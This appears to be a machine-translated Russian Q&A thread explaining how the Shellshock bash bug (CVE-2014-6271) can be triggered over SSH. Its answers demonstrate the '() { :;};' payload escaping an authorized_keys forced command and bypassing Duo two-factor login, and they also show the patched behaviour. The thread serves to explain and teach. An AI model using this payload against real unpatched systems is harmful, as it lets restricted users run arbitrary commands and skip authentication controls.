как можно использовать shellshock через SSH?

Видимо, эксплойт shellshock Bash CVE-2014-6271 можно использовать через сеть через SSH. Я могу представить, как эксплойт будет работать через Apache / CGI, но я не могу представить, как это будет работать над SSH?

Может ли кто-нибудь указать пример использования SSH и какой вред может быть нанесен системе?

ПОЯСНЕНИЯ

AFAIU, только аутентифицированный пользователь может использовать эту уязвимость через SSH. Какая польза от этого использования для кого-то, у кого есть законный доступ к системе? Я имею в виду, что у этого эксплойта нет эскалации привилегий (он не может стать root), поэтому он может сделать не больше, чем мог бы сделать, просто выполнив логический вход через SSH.

  • После отправки команды завершения сеанс ssh не завершается
  • Я не могу подключиться к гостевому os (protostar) через ssh из host-pc (linux mint)
  • Как обеспечить ssh через группы на centos?
  • Указание исходящего интерфейса для туннеля SSH
  • scp с sshpass - удаленный каталог и файл с подстановочными знаками
  • Имена пользователей и хостов в открытом ключе по идентификатору ssh-copy-id
  • SCP с одного сервера на другой без запроса пароля
  • Неспособность блокировать грубую силу ssh с помощью iptables
  • 3 Solutions collect form web for “как можно использовать shellshock через SSH?”

    Один пример, когда это можно использовать, – это серверы с принудительной командой authorized_keys . При добавлении записи в ~/.ssh/authorized_keys вы можете префикс строки command="foo" чтобы принудительно запускать foo в любое время, когда используется открытый ключ ssh. С помощью этого эксплойта, если оболочка целевого пользователя настроена на bash , они могут воспользоваться эксплойтом для запуска других действий, кроме команды, к которой они вынуждены.

    Это, вероятно, будет иметь больше смысла, например, вот пример:

     sudo useradd -d /testuser -s /bin/bash testuser sudo mkdir -p /testuser/.ssh sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys" sudo chown -R testuser /testuser 

    Здесь мы настраиваем пользовательский testuser , который заставляет любые ssh-соединения использовать ваш ssh-ключ для запуска echo starting sleep; sleep 1 echo starting sleep; sleep 1 .

    Мы можем проверить это с помощью:

     $ ssh testuser@localhost echo something else starting sleep 

    Обратите внимание, что наше echo something else не запускается, но starting sleep показывает, что принудительная команда выполнялась.

    Теперь давайте покажем, как этот эксплойт можно использовать:

     $ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE' MALICIOUS CODE starting sleep 

    Это работает, потому что sshd устанавливает SSH_ORIGINAL_COMMAND среды SSH_ORIGINAL_COMMAND в переданную команду. Поэтому, несмотря на то, что sshd запускал sleep , а не команду, о которой я сказал, из-за эксплойта мой код все еще запускается.

    Расширение на примере Ramesh – если вы используете двухфакторную аутентификацию, можно обойти второй фактор, используя этот эксплойт, в зависимости от того, как он реализован.

    – Обычный вход –

     [10:30:51]$ ssh -p 2102 localhost password: Duo two-factor login Enter a passcode or select one of the following options: 1. Duo Push to XXX-XXX-XXXX 2. Phone call to XXX-XXX-XXXX 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2) Passcode or option (1-3): 1 Pushed a login request to your device... Success. Logging you in... [server01 ~]$ logout 

    – Запуск кода без 2FA –

     [10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE' password: MALICIOUS CODE 

    Вы заметите, что он выполнил код без запроса для 2FA.

    – После исправления bash –

     [10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE' password: bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt bash: error importing function definition for `SSH_ORIGINAL_COMMAND' 

    Shellshock является уязвимостью в bash, а не SSH. Чтобы использовать его, злоумышленник должен заставить уязвимую систему запустить bash и контролировать значение переменной среды, которая будет передана в bash.

    Чтобы достичь процесса bash через SSH, злоумышленнику необходимо пройти шаги аутентификации. (В других сетевых сервисах могут существовать атаки, но они выходят за рамки этого потока.) Если в учетной записи разрешено запускать произвольные команды оболочки, атаки нет. Уязвимость вступает в игру, если учетная запись ограничена для запуска определенных команд: например, учетная запись только для SFTP или учетная запись только git и т. Д.

    Существует несколько способов ограничить учетную запись для запуска определенной команды с SSH: с параметром ForceCommand в sshd_config или с command= . ограничение в файле authorized_keys . Если оболочка пользователя bash, тогда уязвимость Shellshock позволяет пользователю, который обычно имеет доступ только к ограниченной учетной записи, обходит ограничение и выполняет произвольные команды.

    Interesting Posts
    Linux и Unix - лучшая ОС в мире.